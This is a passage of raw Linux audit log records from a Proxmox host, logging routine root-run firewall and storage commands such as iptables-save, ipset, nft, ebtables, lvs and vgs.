proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965115317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.317:64220): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355450,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.450:65249): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966374234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966374.234:69455): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965115313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.313:64219): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355450,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.450:65248): argc=1 a0=\"date\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.370:69454): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.305:64218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1314b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355444,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.444:65246): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.370:69453): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.295:64217): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355438,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.438:65245): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.370:69452): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965114606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965114.606:64216): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dbd70 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355430,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.430:65244): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.356:69451): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965114583,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965114.583:64215): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db790 a1=64f8d73de430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355424,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.424:65243): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.356:69450): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.823:64214): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355417,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.417:65242): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966371.356:69449): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965111.813:64211): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965355409,"@rawstring":"node=pve type=EXECVE msg=audit(1781965355.409:65241): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.340:69448): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965106805,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.805:64208): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965354410,"@rawstring":"node=pve type=EXECVE msg=audit(1781965354.410:65240): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.340:69447): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965106798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965106.798:64205): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965354381,"@rawstring":"node=pve type=EXECVE msg=audit(1781965354.381:65239): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.340:69446): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.281:64202): arch=c000003e syscall=59 success=yes exit=0 a0=55c927785ed0 a1=55c927782c50 a2=55c927764680 a3=5 items=2 ppid=61682 pid=61688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352711,"@rawstring":"node=pve type=EXECVE msg=audit(1781965352.711:65238): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.331:69445): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.279:64201): arch=c000003e syscall=59 success=yes exit=0 a0=55c91ccebac8 a1=7fffa8b4ab40 a2=55c927764680 a3=55c91cccf24e items=2 ppid=61682 pid=61684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965352702,"@rawstring":"node=pve type=EXECVE msg=audit(1781965352.702:65235): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.331:69444): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.278:64200): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa8b4ab00 a1=55c92776b310 a2=55c927764680 a3=5 items=2 ppid=61682 pid=61683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347691,"@rawstring":"node=pve type=EXECVE msg=audit(1781965347.691:65231): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966366.331:69443): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.272:64198): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347683,"@rawstring":"node=pve type=EXECVE msg=audit(1781965347.683:65228): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966365278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.278:69442): proctitle=\"ebtables-restore\""} {"@timestamp":1781965105266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.266:64197): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965345399,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.399:65225): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966365275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.275:69441): proctitle=\"ebtables-restore\""} {"@timestamp":1781965105260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.260:64196): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.271:69440): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965345394,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.394:65224): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965105252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.252:64195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.268:69439): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.393:65223): argc=1 a0=\"date\""} {"@timestamp":1781965105246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.246:64194): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.267:69438): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.389:65221): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965105243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.243:64193): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=608c36875740 items=0 ppid=1156 pid=61677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966365267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.267:69437): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965345381,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.381:65220): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965105238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.238:64192): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecb9892a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.263:69436): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965345375,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.375:65219): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965105234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.234:64191): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fdb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.257:69435): proctitle=69707365740073617665"} {"@timestamp":1781965345362,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.362:65218): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965105228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.228:64190): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135d00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.252:69434): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965345356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.356:65217): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965105222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.222:64189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100f00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.246:69433): proctitle=\"ip6tables-save\""} {"@timestamp":1781965345351,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.351:65215): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965105218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.218:64188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135d00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.241:69432): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965345346,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.346:65214): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965105212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.212:64187): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13adb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.234:69431): proctitle=\"iptables-save\""} {"@timestamp":1781965345341,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.341:65213): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965105206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.206:64186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.228:69430): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965345335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.335:65212): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965105200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.200:64185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365222,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.222:69429): proctitle=\"ip6tables-save\""} {"@timestamp":1781965345329,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.329:65211): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965105196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.196:64184): arch=c000003e syscall=59 success=yes exit=0 a0=59043d98fb20 a1=59043d99b9f0 a2=59043d969680 a3=5 items=2 ppid=61663 pid=61669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.217:69428): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965345322,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.322:65210): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965105194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.194:64183): arch=c000003e syscall=59 success=yes exit=0 a0=590401c6eac8 a1=7ffded4cf320 a2=59043d969680 a3=590401c5224e items=2 ppid=61663 pid=61665 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966365208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966365.208:69427): proctitle=\"iptables-save\""} {"@timestamp":1781965345316,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.316:65209): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965105192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.192:64182): arch=c000003e syscall=59 success=yes exit=0 a0=7ffded4cf2e0 a1=59043d98b1c0 a2=59043d969680 a3=5 items=2 ppid=61663 pid=61664 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966364156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966364.156:69426): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965345310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.310:65208): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965105188,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.188:64180): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61663 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966364131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966364.131:69425): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965345304,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.304:65207): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965105182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.182:64179): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61662 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.324:69424): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.300:65206): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965105174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.174:64178): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61661 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.324:69423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965345.300:65205): argc=1 a0=\"date\""} {"@timestamp":1781965105170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965105.170:64177): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adab00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61660 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966361324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966361.324:69422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965345296,"@rawstring":"node=pve 